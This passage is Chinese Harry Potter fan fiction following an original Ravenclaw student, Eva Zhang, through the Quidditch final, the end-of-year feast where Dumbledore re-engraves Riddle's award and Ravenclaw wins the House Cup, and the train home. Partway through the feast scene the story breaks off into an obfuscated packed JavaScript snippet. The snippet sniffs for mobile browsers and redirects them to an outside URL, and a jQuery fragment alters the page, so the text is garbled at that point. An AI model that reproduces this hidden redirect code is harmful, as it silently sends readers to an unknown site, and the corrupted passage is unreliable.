她一一回信,写得很仔细。槐树开花了,一串串乳白的花穗垂下来,风一吹,甜丝丝的香气能飘到塔楼窗口。水鸟多了,有一对天鹅带了毛茸茸的灰色小崽,在靠近岸边的芦苇丛里笨拙地划水。饭菜很合口,家养小精灵知道她病后需要营养,总会悄悄在她的餐盘里多加一小份炖得烂烂的肉或蔬菜泥。 关于恢复,她只简单写:“力气慢慢回来了,走路不喘了,能看完一整章《魔法史》不打瞌睡。”没提体内那股“炁”依然沉睡如古井,也没提偶尔半夜醒来时,手心会无意识地攥紧,仿佛还握着那块已经交还给爷爷的、带着裂痕的黑石。有些东西,写出来怕爷爷担心,也怕自己多想。 日子平顺地流着,像城堡外那条绕过温室的小溪,潺潺的,不起波澜。 课程还在继续,但气氛截然不同。麦格教授不再板着脸强调“期末考试的重点”,而是允许大家自由练习变形术,甚至鼓励几个掌握得快的学生,尝试把火柴变成带花纹的缝衣针。弗立维教授的魔咒课上,飘浮咒的练习变成了“看谁能用最轻柔的力度让羽毛跳恰恰舞”的小比赛,输了不扣分,赢了能得到一小包滋滋蜜蜂糖。连斯内普教授的魔药课,那股惯常的、令人窒息的低气压也似乎消散了些——他依然刻薄,依然会因为一点点失误扣分,但至少不再用那种看垃圾的眼神扫视全班了。有一次,Eva的肿胀药水熬出了近乎教科书般完美的青绿色,气泡均匀细密,斯内普教授走过来,盯着坩埚看了几秒,什么也没说,只是用他那鹰钩鼻子很轻地“哼”了一声,转身走了。没加分,但也没挑刺。这大概就是斯内普式的……认可? Eva把那锅药水小心地装瓶,贴上标签,交给帕德玛帮忙送去地窖。走出地下教室时,午后的阳光晃得她眯了眯眼。肩膀被轻轻撞了一下。 “抱歉。”是哈利。他刚从另一条走廊拐过来,手里抱着一摞刚从图书馆借的、关于魁地奇战术的老旧杂志,差点撒了一地。 “没事。”Eva侧身让了让。 两人并排走在回主堡的走廊里。阳光透过高高的窗棂,在他们脚前投下一块块明亮的光斑。沉默了一会儿,哈利开口,声音有些犹豫:“你……最近怎么样?我是说,真的。” “好多了,”Eva说,目光落在前面一块被阳光照得发亮的石板上,“能走很远,也不怎么头晕了。” “那就好。”哈利似乎松了口气,但随即又有些不知该说什么。绿眼睛瞥了她一眼,又迅速移开,盯着自己怀里那摞杂志磨损的边角。他们之间总隔着点什么——不是疏远,是那场共同经历过的黑暗太沉,沉得让人不知道该如何用平常的语言去触碰。提起来太重,不提又好像那透明的玻璃罐就悬在中间,彼此都看得见。 “金妮呢?”Eva换了个话题,“她回来上课还适应吗?” “嗯,好多了。”哈利的语气明显轻松了些,“韦斯莱夫人给她带了好多补品,她脸色红润多了。罗恩说……就是有时候晚上还会做噩梦,她妈妈说这很正常,需要时间。”他顿了顿,“她让我跟你说,谢谢你。还有……对不起。” 最后三个字说得很轻,但Eva听清了。为日记本的事?为她被卷进去?还是为她昏迷了七天?可能都有。金妮那个瘦小的、蜷缩在洞穴泥水里的身影闪过脑海。 “不用。”Eva摇摇头,“都过去了。” 又是一阵沉默。他们走到了主楼梯的分岔口,哈利要去格兰芬多塔楼,Eva回拉文克劳。 “那……魁地奇决赛你看吗?”哈利问,带着点期待,“下周,格兰芬多对拉文克劳。” “看。”Eva点头。曼蒂早就念叨着要拉她去给拉文克劳加油,秋·张今年不再是替补,而是正式的拉文克劳找球手了。她说今年格兰芬多势头很猛,尤其是找球手有了光轮2000后(她没提名字,但大家都知道是谁)。 哈利脸上露出一点笑容,很淡,但真实。“那……赛场见。” “赛场见。” 他抱着杂志上楼去了,深红色的袍角很快消失在旋转楼梯上方。Eva站在原地,听着他轻快的脚步声远去,心里那点莫名的滞涩感也慢慢化开了。也许就像爷爷说的,有些伤痕,不需要刻意去揭,时间会慢慢敷上一层新的皮肉,虽然痕迹还在,但至少不再流血。 魁地奇决赛那天,天气晴朗。 天空是那种洗过的、干干净净的湛蓝,几缕白云懒洋洋地挂着。阳光毫无遮挡地洒下来,把魁地奇球场照得一片金灿灿,草皮绿得发亮,看台上的旗帜在暖风里猎猎作响,颜色鲜亮得晃眼。 Eva和曼蒂、帕德玛一起,坐在拉文克劳看台中间偏上的位置,视野很好。周围是喧闹的蓝色和铜色浪潮,秋·张和几个高年级击球手在做最后的战术叮嘱,声音被淹没在一片“拉文克劳必胜!”的呼喊里。 格兰芬多看台那边是沸腾的金红色海洋。罗恩和西莫·斐尼甘挥舞着自制的、会喷出金色火星的狮子旗,纳威紧张地攥着一把比比多味豆,眼睛瞪得圆圆的。赫敏坐在他们中间,手里拿着书,但显然没在看,目光紧紧追随着正在球场中央列队的队员们。 两队队员骑着扫帚升空了。银绿相间的斯莱特林队服在阳光下冷冽如刀锋,金红色的格兰芬多则像燃烧的火焰。解说员李·乔丹的声音通过魔法放大,激情洋溢地在球场上空炸开: “女士们先生们!欢迎来到本学年魁地奇决赛——格兰芬多对拉文克劳!我是你们亲爱的解说员李·乔丹!经过一个……呃……多事的赛季,我们终于迎来了这激动人心的时刻!两队队员已经就位——格兰芬多队长奥利弗·伍德看起来像要吃掉他的扫帚柄!拉文克劳队长罗杰·戴维斯则在给他的队员们做最后的耳语……鬼飞球升空了!比赛——开始!” 鬼飞球像一道红色的闪电,在队员间飞速传递。格兰芬多的安吉丽娜·约翰逊率先抢到,一个漂亮的假动作晃过拉文克劳的击球手,直冲球门—— “约翰逊射门!戴维斯扑救——漂亮!拉文克劳守门员反应神速!” 球被挡了出去,看台上爆发出混合着欢呼和惋惜的声浪。Eva的目光却不由自主地飘向高处——两个找球手正在球场上空遥遥对峙。 哈利·波特骑着他的光轮2000,在阳光下像一颗小小的、稳定的黑色星辰。而拉文克劳的找球手,秋·张,骑着一把崭新的彗星260,扫帚尾拖出淡淡的银光,在空中划出优雅的弧线。两人都在缓缓盘旋,目光警惕地扫视着整个球场,寻找那一抹调皮的金光。 “波特和秋·张都在观察……目前还没有金色飞贼的迹象!哦!鬼飞球到了凯蒂·贝尔手里——传给了艾丽娅·斯平内特——射门!拉文克劳又防住了!今天两队的防守真是铜墙铁壁!” 比赛激烈地进行着。格兰芬多攻势猛烈,但拉文克劳的防守密不透风,反击也犀利迅速。分数交替上升,看台上的呐喊声一浪高过一浪。Eva看得有些入神,阳光晒得她脸颊发烫,曼蒂在旁边激动地抓住她的胳膊,指甲都快掐进肉里了。 “秋!左边!左边有空档!”曼蒂大喊。 就在这时,哈利突然动了。 他没有加速冲刺,而是猛地俯冲,几乎贴着草皮飞行,光轮2000带起尖锐的风声。几乎在同一瞬间,秋·张的彗星260也化作一道银光,紧追而下。 “金色飞贼!他们看见了金色飞贼!”李·乔丹的声音激动得破了音,“波特和秋·张同时启动!惊人的速度!他们在追逐——贴近了——哦!游走球!小心!” 一个失控的游走球(看起来像是拉文克劳击球手打偏了)朝着两人俯冲的路径狠狠砸去。哈利猛地拉起扫帚,游走球擦着他的扫帚尾掠过,重重砸进草皮,溅起一片泥土。秋·张也被迫紧急变向,速度慢了一瞬。 就是这一瞬的差距。 哈利的手向前猛地一探,手指在阳光下收紧—— “他抓到了!哈利·波特抓到了金色飞贼!比赛结束!格兰芬多获胜!一百九十分比一百七十!” 金红色的浪潮瞬间淹没了球场。格兰芬多的队员们从四面八方冲过来,把哈利从扫帚上抱下来,抛向空中。欢呼声、尖叫声、夹杂着拉文克劳看台遗憾的叹息和礼貌的掌声,混合成一片巨大的声浪,在初夏的阳光里翻滚、膨胀。 Eva跟着拉文克劳的同学们一起鼓掌。秋·张降落在地上,脸色有些发白,但依然对围过来的队友们摇了摇头,示意自己没事,然后抬头看向被众人簇拥的哈利,眼神复杂,但最终还是扯出了一个有些勉强的、属于运动员的礼貌微笑。 曼蒂沮丧地叹了口气:“就差一点……秋明明看到了……” “哈利更快,”帕德玛客观地说,“而且他躲游走球那一下太险了,换个人可能就撞上了。” Eva没说话,只是看着球场中央那片欢腾的金红色。哈利被伍德和韦斯莱双胞胎扛在肩上,脸上沾着草屑和汗水,绿眼睛在阳光下亮得惊人,笑得露出了牙齿。那笑容里没有密室地底的阴霾,没有沉重的负担,只是一个十三岁男孩赢得比赛后,最纯粹、最明亮的快乐。 那一刻,他看起来和球场上的任何一个追球手、击球手,和看台上任何一个欢呼的格兰芬多学生,没什么两样。 挺好的。Eva想。他应该有这样的时刻。 人群开始散场,拉文克劳的学生们三三两两地离开看台,讨论着刚才比赛的细节,虽然输了,但气氛并不太沮丧——毕竟打到了决赛,而且比分很接近。秋·张被几个女生围着安慰,她摆摆手,说自己想去冲个澡。 Eva和朋友们随着人流走下看台。就在通往城堡的主路上,她看见了德拉科·马尔福。 他正从斯莱特林看台那边走过来,身边照例跟着克拉布和高尔,潘西·帕金森挽着他的胳膊,正兴奋地说着什么关于比赛的话。马尔福脸上没什么表情,只是听着,偶尔敷衍地点点头。 两队人在路口正好碰上。 空气微妙地凝滞了一瞬。格兰芬多的狂欢队伍还在不远处喧闹,拉文克劳的人群正从这里经过。 马尔福的目光习惯性地扫过来——先掠过几个正在讨论比赛的拉文克劳男生,然后落在Eva身上。 非常短暂。不到一秒。 他的灰蓝色眼睛里没有任何情绪,没有挑衅,没有审视,甚至连之前那种刻意为之的平淡都没有。就像看路边的石头,看飘过的云,看任何一件与他毫不相干、也引不起他丝毫兴趣的东西。然后他的视线就滑开了,转向潘西,对她说了句什么,嘴角扯出一个很浅的、社交性的弧度。 潘西咯咯笑了起来,音量不大不小,刚好能让周围人听见:“哦,德拉科,你真刻薄。” 马尔福没再接话,只是继续往前走,肩膀擦过Eva身边时,带起一阵微弱的、带着昂贵柑橘调古龙水味道的风。冰冷,疏离,像一道无形的墙。 曼蒂小声嘀咕:“得意什么,又不是他们学院赢……” 帕德玛拉了拉曼蒂的袖子,示意她别说了。 Eva的目光只是随意地扫过那个方向,像掠过任何一幅走廊里的肖像画或盔甲。淡金色的头发,挺直的背脊,在人群中渐行渐远。那两次混乱中的碰撞,圣诞前夜的短暂交锋,连同那本暗红日记本的诡异气息,都仿佛被这六月的阳光和暖风蒸腾、稀释,变得模糊而遥远,成了过去一个混乱学期里诸多不愉快碎片中的几片。 学年结束前的最后一周,城堡沉浸在一种懒洋洋的、近乎度假的氛围里。考试取消带来的轻松感尚未消退,天气又好得出奇,连最用功的学生也暂时放下了书本。庭院和黑湖边成了最受欢迎的去处,到处是晒太阳、闲聊、或者纯粹发呆的身影。 唯一还保持着严肃氛围的,大概是期末宴会前的准备工作。家养小精灵们似乎比平时更加忙碌,城堡各处被擦拭得闪闪发亮,礼堂里早早挂起了巨大的学院横幅,四张长桌也被布置一新。 终于,期末宴会的夜晚来临了。 当Eva走进礼堂时,几乎被眼前的景象晃了一下。礼堂被装饰得金碧辉煌,比圣诞宴会还要隆重。墙上挂满了巨大的丝绸横幅:代表格兰芬多的鲜红色狮子,代表拉文克劳的古铜色老鹰,代表赫奇帕奇的黄色獾,以及代表斯莱特林的银色蟒蛇。天花板被施了魔法,呈现出深邃的、繁星点点的夜空,柔和的光线从漂浮的蜡烛和墙壁上的火把中洒落。空气中弥漫着烤肉的焦香、新鲜面包的麦香和各种甜点的甜蜜气息。 四条长桌上已经摆满了丰盛的食物,但学生们似乎并不急于开动,而是兴奋地低声交谈,目光时不时瞟向教师席。 邓布利多教授站起来时,礼堂瞬间安静下来。 “又是一年过去了!”他洪亮而慈祥的声音在礼堂里回荡,蓝眼睛在半月形眼镜后闪烁着愉悦的光芒,“在尽情享受这些美味佳肴之前,我必须麻烦大家听听一个老人的陈词滥调。” 他顿了顿,目光缓缓扫过台下一张张年轻的脸庞。 “这是多么不平凡的一年。”他的语气变得温和而郑重,“我们共同经历了恐惧、猜疑和失去,但也见证了勇气、友谊和坚韧。霍格沃茨之所以是霍格沃茨,不仅仅因为它古老的墙壁和神奇的课程,更因为在这里学习、生活的每一个人——你们,以及所有为了守护这里而付出努力的人们。” 他的目光似乎特意在几个方向停留了片刻:格兰芬多长桌上的哈利、罗恩、赫敏,拉文克劳长桌上的Eva,赫奇帕奇长桌上已经恢复的科林、贾斯廷和厄尼。 “而有一些人,他们的勇气、忠诚和冷静的智慧,显得尤为耀眼。他们的行为不仅保护了他们自己,也保护了他人,甚至……保护了这座城堡本身。” 礼堂里一片寂静,连斯莱特林长桌那边的喧哗也低了下去。 “因此,”邓布利多提高了声音,他脸上的笑容变得有些意味深长,“在这样一个需要重新审视何为真正贡献的年份里,我认为,是时候纠正一个持续了五十年的、小小的历史偏见了。” 礼堂里一片寂静,所有人都疑惑地看着他,不知道校长指的是什么。 邓布利多不慌不忙地从袍子里取出一个东西——那是一个银质的小奖杯,在烛光下闪烁着柔和而古老的光泽。Eva的呼吸微微一滞,她认出来了,那是奖杯陈列室里,汤姆·里德尔那个“特殊贡献奖”的奖杯。 “这个奖杯,”邓布利多的声音清晰而平静地传遍礼堂,“记录着对‘维护霍格沃茨安全’的表彰。五十年前,它被颁发给了一位学生,以奖励他……‘发现’了造成桃金娘·沃伦悲剧的所谓‘凶手’。” 一些知道密室传闻的高年级学生发出了低低的吸气声。斯莱特林长桌那边,那片紧绷的安静被打破,响起了几声压抑不住的、带着讽刺意味的冷哼和窃窃私语。“五十年前……”有人用气声嘟囔,随即被旁边的人用手肘提醒打断。 德拉科·马尔福的眉头皱了起来,灰蓝色的眼睛紧盯着那个飘在空中的旧奖杯,他似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980675|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从父亲那里听过一些关于此事的模糊说辞,关于汤姆·里德尔,关于一个“被妥善处理”的过去。现在,这个过去被邓布利多当众翻开、改写,连同他们学院眼看就要到手的学院杯,一起被赋予了其他学院。他的下颌线绷紧了,放在膝上的手微微握拳,但脸上很快又恢复了那种惯有的、淡漠的讥诮神情,仿佛这一切都无聊透顶。 “然而,历史往往比记录的更复杂,真相有时需要更多的时间才能浮现。”邓布利多的目光扫过全场,“我们今年所经历的一切,最终证明,当年那个‘贡献’,建立在错误的指认和不完整的真相之上。那个奖杯所表彰的,并非真正的‘安全’。” 他顿了顿,让这番话在寂静中沉淀。 “而今年,我们见证了真正的贡献。有人以无畏的勇气,直面了被错误掩盖的历史阴影;有人以坚定的忠诚,在危难中传递了关键的希望;更有人……”他的目光这次明确地、温和地落在了拉文克劳长桌,落在了Eva身上,然后又扫过哈利和罗恩,“……以超乎年龄的冷静智慧,洞察了异常,并在最关键的时刻,以清醒的判断和非凡的方式,保护了同伴,干扰了邪恶,为最终的胜利赢得了至关重要的喘息之机。” Eva感到自己的脸颊又开始发烫,她垂下眼,盯着面前的盘子边缘。 “因此,”邓布利多的声音变得庄重而有力,“我认为,这个奖杯应该归属它真正的主人——或者说,主人们。它应该表彰那些在今年的危机中,真正为霍格沃茨的安全做出了不可替代贡献的人。” 他转向教师席旁:“弗立维教授?” 小个子的魔咒课教授满脸放光,他挥动魔杖,那个银质奖杯飘到空中,在魔法的作用下,杯身上“汤姆·马沃罗·里德尔”的名字如烟雾般消散。紧接着,几个新的名字被镌刻上去,闪烁着崭新的光芒: 哈利·詹姆斯·波特 罗恩·比利尔斯·韦斯莱 张丽华(Eva Zhang) 奖杯缓缓飘向格兰芬多和拉文克劳长桌之间的上空,让所有人都能看清上面的名字。 “此外,”邓布利多继续说道,仿佛刚才只是处理了一件理所当然的小事,“对于真正的勇气和智慧,霍格沃茨从不吝啬于奖励。” “罗恩·韦斯莱先生,”他看向罗恩,罗恩的脸已经红得像他的头发,“你展现出了对妹妹最深厚的亲情,以及在巨大压力下执行关键任务的可靠性——为此,格兰芬多加五十分。” 红宝石上涨了一小截,格兰芬多长桌响起一阵掌声。 “哈利·波特先生,”邓布利多看向哈利,绿眼睛的少年显得局促不安,“你面对了最直接的黑暗,并最终摧毁了它,守护了朋友——为此,格兰芬多加六十分。” 更多的红宝石涌起,格兰芬多的欢呼声更大了。 “以及,Eva Zhang小姐。”邓布利多的目光再次投向Eva,这次,整个礼堂的目光也随之聚焦。Eva感到呼吸微微一紧,但她努力维持着表面的平静,抬头迎向校长的视线。 “你在整个事件中表现出了拉文克劳学院最为推崇的品质:敏锐的观察力,基于事实的冷静推理,以及在危急关头,运用独特的知识与沉着的意志保护同伴、对抗邪恶的非凡表现。你的贡献,为最终的胜利奠定了不可或缺的基础——为此,拉文克劳加一百分。” 在那一瞬间,几个画面像被施了快闪咒的相片般在她脑海中掠过: ——黑暗洞穴里,掌心那块突然变得滚烫、裂开细纹的黑石。 ——爷爷锦囊中符纸化作的金白色光焰,短暂地逼退了蛇怪可怖的独眼。 ——昏迷中,那股从眉心渗入的、温和清冽如溪流的力量,那是爷爷的手指。 ——还有哈利握着格兰芬多宝剑时紧绷的侧脸。 “一百……分?!” 曼蒂在旁边倒吸一口凉气。 拉文克劳的沙漏里,蓝宝石如同被魔法泉眼喷涌而出,以惊人的速度向上飙升,瞬间超越了斯莱特林,并且还在不断增加,几乎填满了沙漏的上半部分,闪烁着璀璨而宁静的蓝色光辉。整个拉文克劳长桌先是陷入一片震惊的沉默,随即爆发出比刚才格兰芬多更加热烈、却也更显克制的欢呼——那是属于智慧与冷静的胜利的欢呼。佩内洛·克里瓦特激动地和身边的女级长拥抱,秋·张和朋友们用力鼓掌,看向Eva的目光里充满了钦佩。 与此同时,斯莱特林长桌的方向传来清晰的、不加掩饰的吸气声和几声短促的、不满的“啧”。潘西·帕金森尖细的嗓音刺破了短暂的寂静:“一百?就为了那些……东方巫术?”但她的声音很快被淹没在拉文克劳的欢呼中。更多的斯莱特林学生只是阴沉着脸,盯着那遥不可及的蓝色沙漏,或是对着自己学院的沙漏露出几乎可以称为怨愤的表情。马库斯·弗林特,那位魁地奇队长,重重地将手中的银叉扔在盘子上,发出哐当一声闷响。 “最后,”邓布利多的声音变得格外清晰,充满了宣告的意味,他抬起手,指向那四只巨大的学院沙漏。 所有人的目光都跟随着他的手指。 “让我们看看最终的结果。”他微笑着说,仿佛这只是一场有趣的游戏。 沙漏中的宝石数量早已因方才的加分而天翻地覆: 拉文克劳的蓝宝石占据了绝对优势,那是Eva的一百分和学院本身积累的分数共同铸就的高塔。 格兰芬多的红宝石紧随其后,因哈利和罗恩的个人加分以及他们平时的努力使其以微弱的优势超第三名位居第二,虽不及拉文克劳那般惊人,却也远超往年。 赫奇帕奇的黄宝石安静地待在中间偏下的位置。 而原本领先的斯莱特林的绿宝石,此刻已滑落至第三名,与那片璀璨的蓝色形成了刺眼的对比。 “基于这些无可争议的分数,”邓布利多的目光扫过每一张或期待、或紧张、或阴沉的脸,最后定格在拉文克劳长桌,他脸上露出了由衷的、欣慰的笑容,声音洪亮地宣布: “我很高兴地宣布——本学年的学院杯,属于拉文克劳学院!” 礼堂的装饰应声而变,取而代之的是高悬的、绘着青铜色雄鹰的深蓝色横幅。星空天花板也染上了静谧的蓝色。 “拉文克劳!拉文克劳!拉文克劳!” 蓝色长桌瞬间被欢呼的声浪淹没。平日里最讲究冷静理智的拉文克劳学生们,此刻也抛开了矜持,激动地拥抱、击掌、将代表着学院的蓝色尖顶帽抛向空中。级长佩内洛·克里瓦特一边擦拭着眼角兴奋的泪花,一边试图维持秩序,但她的声音完全被淹没在欢乐的海洋里。弗立维教授站在教师席上,激动得尖声叫好,几乎要从那堆书上掉下来。 与此同时,斯莱特林长桌陷入一片压抑的、近乎凝固的寂静。 几个一年级新生张大了嘴,脸上写满了难以置信和被剥夺荣誉的委屈,但很快被旁边高年级学长冰冷的目光逼得低下头去。潘西·帕金森尖细的嗓音刻意拔高,刺破了这片寂静:“一百?就为了那些……东方巫术?”她身旁的几个女孩发出附和似的轻笑,但笑声干巴巴的,很快消散在拉文克劳席卷而来的欢呼声浪里。更多的人只是阴沉着脸——马库斯·弗林特将手中的银叉狠狠掼在盘子上,发出一声刺耳的哐当;几个七年级学生交换着冰冷而讥诮的眼神,仿佛在说“看吧,邓布利多的偏心”;而低年级中一些曾为学院领先而骄傲的学生,此刻死死盯着那被蓝色宝石彻底压制的沙漏,脸上混合着愤怒与一种近乎茫然的失落。 在这片银绿色的沉郁中,德拉科·马尔福姿态僵硬地坐着,他没有像潘西那样出声,也没有像弗林特那样发泄,只是面无表情地、极其缓慢地切割着面前早已冷透的牛排,刀尖在瓷盘上刮出细微而持续的声响,仿佛周遭一切欢呼、蓝色、以及学院的溃败,都不过是一幕与己无关的乏味戏剧。只有他过于用力以至于指节泛白、微微颤抖的手指,泄露了那平静表象下并非无动于衷的暗流。 这个漫长、曲折、充满了惊涛骇浪却也最终见证智慧与勇气光芒的二年级,在这一片象征着理性与希望的深蓝色中,庄严而圆满地落下了帷幕。 60. 归程与回声 期末晚宴的喧嚣渐渐沉淀下去,像一杯被搅动的、加了太多糖浆的南瓜汁,在杯底留下了一层厚厚的、黏腻的甜蜜。拉文克劳赢了学院杯,加的一百分、那个飘在空中的、刻着新名字的旧奖杯,还有整个礼堂高悬的深蓝色旗帜……这些画面在之后的好几天里,依然在Eva的脑子里嗡嗡作响,带着一种不太真实的嗡鸣。 她感到庆幸,也感到不安。 那一百分,那枚奖杯上刻着的名字,还有邓布利多教授目光里那份沉甸甸的、公开的认可——它们像是一道清晰的、官方盖下的印章,为那段黑暗混乱的日子做了一个干净利落的了结。拉文克劳的沙漏里,蓝宝石堆积如山,闪烁着理性胜利的光辉,而她也终于可以告诉自己:你做了该做的事,也得到了承认。结束了。 但印章落下时,也意味着这件事被永久记录,暴露在所有人的目光之下。爷爷常说“木秀于林,风必摧之”,爸爸总叮嘱“记住你是谁,求稳为上”。这一百分,会不会像一盏突然点亮的灯,把她这个原本只想安静待在角落的影子,照得太亮了些?这便是那份不安的来源。 不安来自那些目光。 拉文克劳内部的目光是温暖的,带着钦佩和与有荣焉,但也能感到一丝微妙的、被重新评估的距离。曼蒂和帕德玛依然是她最亲近的朋友,但她们看她时,偶尔会流露出一丝“原来你经历过那种事”的恍然,然后加倍地对她好,那种好里多了点小心翼翼的呵护。其他拉文克劳同学,尤其是高年级的,会在走廊里对她点头致意,眼神里有种以前没有的、对“做出特殊贡献者”的尊重,但也仅此而已,不会像对秋·张那样,随意地开魁地奇的玩笑或讨论变形术的窍门。 其他学院就复杂多了。赫奇帕奇的学生大多友善,但偶尔会带着好奇偷偷打量她,仿佛在揣测那个“冷静智慧”和“非凡方式”具体指的是什么。格兰芬多那边,哈利、罗恩和赫敏的态度一如既往,甚至更亲近了些,但罗恩的哥哥们——弗雷德和乔治——有一次在走廊里遇见她,停下脚步,两双一模一样的眼睛里闪着促狭又真诚的光,齐声说:“嘿,加一百分的女孩!”然后大笑着跑开,留下Eva站在原地,脸颊微微发烫。 至于斯莱特林,那道无形的墙似乎变得更厚、更冷了。走廊里遇见,那些银绿色的身影会更快地移开视线,或者用比平时更刻意的、更高的音量谈论着毫不相干的话题,仿佛她是一片需要避开的、散发着不祥气息的沼泽。潘西·帕金森和她的小团体经过时,那刻意扬起的、关于“某些人靠特殊待遇出风头”的议论,像细小的针,不疼,但刺挠人。 德拉科·马尔福,自期末晚宴后,偶尔在礼堂或走廊远远瞥见那个淡金色的脑袋,他总是被克拉布、高尔和帕金森围着,侧脸线条绷得紧紧的,嘴角挂着那种练习过千百次的、冰冷的社交假笑,目光从不往拉文克劳的方向偏移哪怕一度。Eva也只是看一眼,便移开视线,心里没什么特别的波澜。一个斯莱特林,本来就和拉文克劳没什么交集。那些走廊里的碰撞,图书馆外的偶遇,都只是过去那个混乱学期里发生过的、许许多多事情中的几件,过去了也就过去了。 接下来的几天,是在收拾行李和道别中度过的。 城堡里弥漫着一种混合了归心似箭和淡淡离愁的气氛。行李箱在石板地上拖出咕噜噜的声响,猫头鹰棚屋比平时繁忙数倍,学生们三三两两地聚在庭院或公共休息室,交换家庭住址,约定暑假通信,或者只是享受着学期最后、无事一身轻的悠闲时光。 Eva的行李不多。几件换洗的袍子,课本和羊皮纸卷,那套爷爷新给的文房四宝用软布仔细包好,妈妈绣的披肩叠放在最上面。哈利送的魁地奇徽章,她用一小块深蓝色的天鹅绒包起来,放进了装文具的小袋子里。那瓶匿名的高级羽毛笔保养墨水,她想了想,也收了起来——东西是好东西,不用浪费。 临行前的最后一晚,她给爸爸妈妈和爷爷分别写了信。给爸爸妈妈的信里,她仔细汇报了身体恢复情况(“已经完全好了,走路不喘,能吃能睡”),期末成绩(“教授们根据平时表现评定,应该都不错”),以及学院杯的喜悦(“拉文克劳赢了,我很高兴”)。只字未提那一百分和奖杯,也没提那些复杂的目光。有些事,信里说不清,也不想让他们担心。 给爷爷的信更短。她写江南老宅的槐花是不是开过了?黑湖的天鹅崽长大了一点,绒毛开始变白。城堡的夏天很安静,适合读书静心。最后,她小心地问:“爷爷,那块石头……还有用吗?” 写完又觉得这话问得傻,石头都裂了。她用笔尖蘸了点墨水,想把这句话涂掉,犹豫了一下,最终没涂,就那么折了起来。或许爷爷能明白她的意思。 第二天早上,霍格沃茨特快列车喷着白色的蒸汽,等候在霍格莫德车站。 站台上挤满了学生和行李,喧闹得像个巨大的蜂巢。家长们伸长脖子张望,猫头鹰在笼子里扑腾,宠物猫在脚边穿梭,时不时有学生被挤得踉跄,引发一阵小小的骚动和笑骂。 Eva和曼蒂、帕德玛一起,费劲地把行李箱拖上列车。车厢里很快坐满了人,她们好不容易在列车中段找到一个还有空位的隔间,里面已经坐了两个赫奇帕奇的三年级女生,正分享着一大包巧克力蛙。 火车缓缓开动。霍格沃茨城堡在车窗外越来越远,最终缩小成地平线上一个模糊的、塔尖林立的剪影,然后彻底消失在初夏葱茏的山丘之后。 车厢里渐渐安静下来。长途旅行的倦意和离别的淡淡惆怅笼罩着每个人。曼蒂和帕德玛凑在一起看一本《巫师周刊》的夏季特刊,上面预测着今年魁地奇世界杯的夺冠热门。赫奇帕奇的女生们低声讨论着暑假计划。Eva靠窗坐着,看着窗外飞快掠过的苏格兰高地景色:墨绿色的山坡,点缀着紫色石南花,偶尔有白色的羊群像撒在绿毯上的珍珠。 她的思绪有些飘忽。想起一年前,也是坐这趟车来学校,心里揣着对魔法世界的懵懂和不安。现在回去,带走的是一身疲惫、几分成长,还有一堆需要慢慢消化的记忆。 午餐时分,推着零食车的女巫来了。曼蒂买了一大堆坩埚蛋糕和巧克力蛙,分给大家。Eva只要了一盒南瓜馅饼,小口吃着,甜腻的味道在舌尖化开。 下午,车厢门被拉开,哈利、罗恩和赫敏探头进来。 “嘿,找到你们了。”哈利说,绿眼睛在看到她时亮了一下。他、罗恩和赫敏的行李显然都收拾得很匆忙,罗恩的袍子口袋里还露出一角皱巴巴的《与巨怪同行》。 “进来坐!”曼蒂热情地招呼,同时和帕德玛、丽莎一起努力往窗边挤了挤,给门口的三位腾出空间。哈利、罗恩和赫敏略显笨拙地挤了进来,罗恩的行李箱在狭窄的过道里制造了一点小混乱,差点绊倒自己,惹得曼蒂小声惊呼了一下。他们和两位赫奇帕奇女生、以及丽莎简短地点头问好(丽莎有些害羞地回了个微笑),然后在拉文克劳女孩们努力腾出的宝贵空间里坐下。哈利恰好坐在了Eva的斜对面,中间隔着几乎不存在的过道和几条交错的腿。 九个人几乎把每个角落都塞满了,膝盖挨着膝盖,袍角互相纠缠。空气里充满了各种零食的甜香和少年人身上暖烘烘的气息。那两位赫奇帕奇女生先是有些惊讶于这突如其来的“人口膨胀”,随即便友善地笑了笑,各自尽力往窗边缩了缩,继续分享她们那包似乎取之不尽的巧克力蛙。 人一下子多起来,话题自然而然地、有些混乱地展开了。声音重叠着,但内容大多琐碎而安全:暑假有什么打算(哈利要去韦斯莱家,赫敏要和父母去法国,罗恩苦着脸说他妈妈准备了一大堆家务活等着他,还可能要帮忙照料地精),对三年级新课程的猜测(赫敏已经开始狂热地研究哪几门选修课时间不冲突,并且试图向看起来最镇定的帕德玛打听古代如尼文是否真的像传说中那么难;丽莎则小声说自己可能想选保护神奇生物,但有点怕大型动物)。还有对洛哈特教授下场的唏嘘(“圣芒戈说他可能永远恢复不了记忆了,”罗恩说,语气里没什么同情,甚至有点幸灾乐祸,“活该。不过他的书会不会大降价?”这话引得两位赫奇帕奇女生也咯咯笑了起来,曼蒂则嘟囔着“那也不能浪费钱去买”)。 谁也没提密室,没提蛇怪,没提那一百分。那罐透明的记忆被所有人默契地封存着,放在言语的角落里,无人触碰。就连赫敏,虽然几次看向Eva的目光欲言又止,带着一种经历过共同秘密后的深刻关切,但最终也只是把话题引向了更安全的学业讨论,或者接过帕德玛递来的一小块坩埚蛋糕。 车厢微微摇晃,窗外是不断后退的绿色原野。一阵短暂的沉默后,罗恩像是忽然想起了什么,声音低了些:“说到恢复……金妮她好多了,”他一边小心地调整坐姿,避免压到旁边赫奇帕奇女生的袍子,“就是……有时候晚上还会惊醒,妈妈说这正常,需要时间。爸爸给她弄了个新的窥镜放在床头,比旧的灵敏,说是有动静就会响,能让她安心点。”他的声音在热闹的车厢里不算大,但足够让隔间里的人都安静一瞬去听。丽莎的脸上露出了同情的神色。 “韦斯莱先生还好吗?”Eva问。她记得爸爸提过,亚瑟·韦斯莱因为那辆会飞的汽车,在魔法部承受了不小的压力。 罗恩的脸皱了一下,拿起一块糖浆馅饼塞进嘴里,含糊又带着点郁闷地说:“不太好。虽然密室的事查 